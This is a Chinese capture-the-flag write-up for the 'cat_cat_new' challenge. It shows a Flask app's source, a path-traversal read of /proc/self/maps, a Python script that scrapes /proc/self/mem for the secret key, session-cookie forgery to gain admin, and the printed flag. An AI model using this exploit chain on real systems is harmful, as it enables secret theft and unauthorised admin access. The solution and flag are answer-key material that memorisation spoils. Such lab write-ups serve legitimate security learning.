参考文章:(建议去看大佬的文章,我觉得大佬写的挺易懂)攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园 (cnblogs.com)
打开页面后随便点击一个图片,发现url使用GET方式传递了一个名为file的参数,怀疑可能存在文件包含漏洞。
使用wappalyzer插件可以看出flask框架,由python编写的
下面我们去读取app.py文件,去查看内容。
复制下来内容,美化一下会好看一些。
import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh if os.path.isfile("/flag"): flag = cat("/flag") os.remove("/flag") @app.route('/', methods=['GET']) def index(): detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST']) def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。 def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。?file=../../../proc/self/maps,将maps文件返回的内容保存到test.txt中,用脚本去得到secret_key。
脚本是来自大佬的博客:(菜鸡不会自己写 )攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园 (cnblogs.com)
import re import requests maps=open('test.txt') b = maps.read() list = b.split('\\n') for line in list: if 'rw' in line: addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line) #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。 start = int(addr.group(1),16) #将十六进制字符转化为十进制数,为了符合start参数格式参考链接 end = int(addr.group(2),16) #将十六进制字符转化为十进制数,为了符合end参数格式 print(start,end) url = f"http://61.147.171.105:63646/info?file=../../../proc/self/mem&start={start}&end={end}" #使用start和end参数读取mem response = requests.get(url) secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text) #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),find if secret_key: print(secret_key) break
记得要改一下url啊,不然只能像我这个笨比一样等半天(bushi),拿到secret_key之后我们去伪造session。这里附上github上工具的地址:GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
先来解密一下session,可以看到是{'admin': 0}:
我们先改成{'admin': 1},再加密得到一个新的session:
bp抓包伪造session,得到flag
catctf{Catch_the_c4t_HaHa}